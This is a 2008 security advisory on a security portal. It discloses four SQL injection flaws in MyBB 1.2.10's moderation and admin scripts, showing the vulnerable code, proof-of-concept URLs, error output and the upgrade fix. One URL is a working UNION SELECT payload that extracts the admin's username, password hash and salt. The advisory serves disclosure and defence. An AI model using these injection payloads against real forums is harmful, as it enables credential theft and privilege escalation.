Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 18, 2014
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: Lokesh
New Today: 0
New Yesterday: 0
Overall: 8982

People Online:
Visitors: 239
Members: 0
Total: 239
milw0rm
·[web applications] - RunCMS 1.6.1 - (pm.class.php) Multiple SQL Injection Vulnerabilities
·[web applications] - csUpload Script Site - Authentication Bypass Vulnerability
·[web applications] - QuickCms 5.4 - Multiple Vulnerabilites
·[dos / poc] - Heartbleed User Session Extraction Exploit
·[dos / poc] - Asterisk 1.x - BYE Message Remote Denial of Service Vulnerability
·[remote exploits] - Vtiger Install Unauthenticated Remote Command Execution Exploit
·[remote exploits] - MS14-017 Microsoft Word RTF Object Confusion Exploit
·[remote exploits] - BlackBerry Z 10 Buffer Overflow Vulnerability
·[remote exploits] - Sun Java Runtime Environment 1.6 - WebStart JNLP File Stack Buffer Overflow
·[remote exploits] - GSC Client 1.00 2067 - Privilege Escalation Vulnerability

read more...
PacketStorm News
·FreeBSD Security Advisory - OpenSSL Issues
·FreeBSD Security Advisory - NFS Server Deadlock
·Cisco Security Advisory 20140409-asa
·Cisco Security Advisory 20140409-heartbleed
·Mandriva Linux Security Advisory 2014-067
·Slackware Security Advisory - openssl Updates
·Red Hat Security Advisory 2014-0380-01
·Red Hat Security Advisory 2014-0389-01
·Red Hat Security Advisory 2014-0383-01
·Red Hat Security Advisory 2014-0382-01

read more...
[waraxe-2008-SA#062] - Multiple Sql Injections in MyBB 1.2.10





Author: Janek Vind "waraxe"
Date: 16. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-62.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. SQL Injection in "moderation.php" action "do_mergeposts"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation, including "canmanagethreads".

From source code of "moderation.php" line ~438:

-------------------------------------------------------------------------------
// Lets merge those selected posts!
case "do_mergeposts":
if(is_moderator($fid, "canmanagethreads") != "yes")
{
error_no_permission();
}
$plugins->run_hooks("moderation_do_mergeposts");
$mergepost = $mybb->input['mergepost'];
if(count($mergepost) <= 1)
{
error($lang->error_nomergeposts);
}

foreach($mergepost as $pid => $yes)
{
$plist[] = $pid;
}

$moderation->merge_posts($plist, $tid, $mybb->input['sep']);
-------------------------------------------------------------------------------

As seen above, unsanitized array variable 'mergepost' from GPC is delivered to
function "merge_posts()" as first argument - "$plist".

Source code of "merge_posts":
-------------------------------------------------------------------------------
function merge_posts($pids, $tid, $sep="new_line")
{
global $db, $plugins;

$pidin = implode(",", $pids);
$first = 1;
// Get the messages to be merged
$query = $db->query("
SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts
FROM ".TABLE_PREFIX."posts p
LEFT JOIN ".TABLE_PREFIX."forums f ON (f.fid=p.fid)
WHERE p.tid='$tid' AND p.pid IN($pidin)
ORDER BY dateline ASC
");
-------------------------------------------------------------------------------

It is obvious, that "$pids" argument will be used in sql query without any
sanitization. So sql injection security hole seems to exist here.

Let's try this proof of concept test:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts
&mergepost[war]=1&mergepost[axe]=2

... and we can see sql error message:

MySQL error: 1054
Unknown column 'war' in 'where clause'
Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts
FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid)
WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC

Yes, indeed, sql injection exists and as bonus, we can determine from error
message additional piece of information, useful for sql injections -
table prefix. It can be different from "mybb_" and without knowing it we will
have trouble trying to fetch data from MyBB tables.

This was Proof-Of-Concept test, how about real attack example?
Here it is:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts
&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,
(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)
+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2

As result we can see sql error message:

MySQL error: 1064
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ... line 1
Query: UPDATE mybb_users SET postnum=postnum-1
WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^''

Yeah - admin's username, password hash and salt, all in one line!

Now - mitigating factors. First of all, attacker must have moderator privileges,
including "canmanagethreads". So this sql injection security hole can be
used for privileges escalation from moderator to admin, if admin's password
is weak enough to be cracked with reasonable processing power and time.

Error feedback - if attacker can't see sql error messages, then this will not
stop the attack, it will be just harder to exploit and involves blind sql
injection attack methods.


2. SQL Injection in "moderation.php" action "allreports"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation.

Let's try:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'
+UNION+SELECT+waraxe--+

And we see error message:

MySQL error: 1054
Unknown column 'waraxe' in 'field list'
Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE
rid <= '0' UNION SELECT waraxe-- '

Problematic code:

case "allreports":
if(is_moderator() != "yes")
{
error_no_permission();
}
...
if($mybb->input['rid'])
{
$query = $db->simple_select(TABLE_PREFIX."reportedposts",
"COUNT(rid) AS count", "rid <= '".$mybb->input['rid']."'");

This sql injection can ultimately lead to privilege escalation from
moderator level to admin level - as in previous case.


3. SQL Injection in "moderation.php" action "do_multimovethreads"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation, including "canmanagethreads".

Let's issue this request:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads
&moveto=2&threads=war|axe

Error message:

MySQL error: 1054
Unknown column 'war' in 'where clause'
Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads
WHERE tid IN (war,axe)

Flawed piece of code:

case "do_multimovethreads":
if(is_moderator($fid, "canmanagethreads") != "yes")
{
error_no_permission();
}
$moveto = intval($mybb->input['moveto']);
$threadlist = explode("|", $mybb->input['threads']);
foreach($threadlist as $tid)
{
$tids[] = $tid;
}
...
$moderation->move_threads($tids, $moveto);

Similary to previous two cases, this sql injection can lead to privilege
escalation from moderator level to admin level within MyBB context.


4. SQL Injection in "admin/usergroups.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have admin privileges in MyBB context, therefore
risk level is low. Still, any non-superadmin can fetch any data from database,
including password hashes for other admins.

http://localhost/mybb.1.2.10/admin/usergroups.php?
adminsid=f962d4e991671f3f930d7117a745147f
&action=do_joinrequests
&request[waraxe]=decline

Error:

MySQL error: 1054
Unknown column 'waraxe' in 'where clause'
Query: DELETE FROM mybb_joinrequests WHERE uid IN(waraxe) AND gid=''

http://localhost/mybb.1.2.10/admin/usergroups.php?
adminsid=f962d4e991671f3f930d7117a745147f
&action=do_joinrequests
&request[-1]=decline
&gid='waraxe

Error:

MySQL error: 1064
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near 'waraxe'' at line 1
Query: DELETE FROM mybb_joinrequests WHERE uid IN(-1) AND gid=''waraxe'

Reason - incoming variables "request" and "gid" are not properly sanitized
before using in sql queries.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download MyBB new version 1.2.11 as soon as possible!

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------










Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2008-01-16 (8543 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
vn5socks  vn5socks - 705
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 374
tsabitah  tsabitah - 328
SecurityFocus
·Vuln: Sophos Web Appliance Privilege Escalation and Remote Code Execution Vulnerabilities
·Vuln: qEngine Database Backup Information Disclosure Vulnerability
·Vuln: LibYAML 'yaml_parser_scan_uri_esc apes()' Function Remote Heap Based Buffer Overflow Vulnerability
·Vuln: Python 'readline()' Function Denial of Service Vulnerability
·Bugtraq: iVault Private P&V 1.1 iOS - Path Traversal Vulnerability
·Bugtraq: BlueMe Bluetooth v5.0 iOS - Code Execution Vulnerability
·Bugtraq: AppFish Offline Coder v2.2 iOS - Persistent Software Vulnerability
·Bugtraq: [SECURITY] [DSA 2899-1] openafs security update
·More rss feeds from SecurityFocus

read more...
alexa



Nvidia GeForce Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.049 Seconds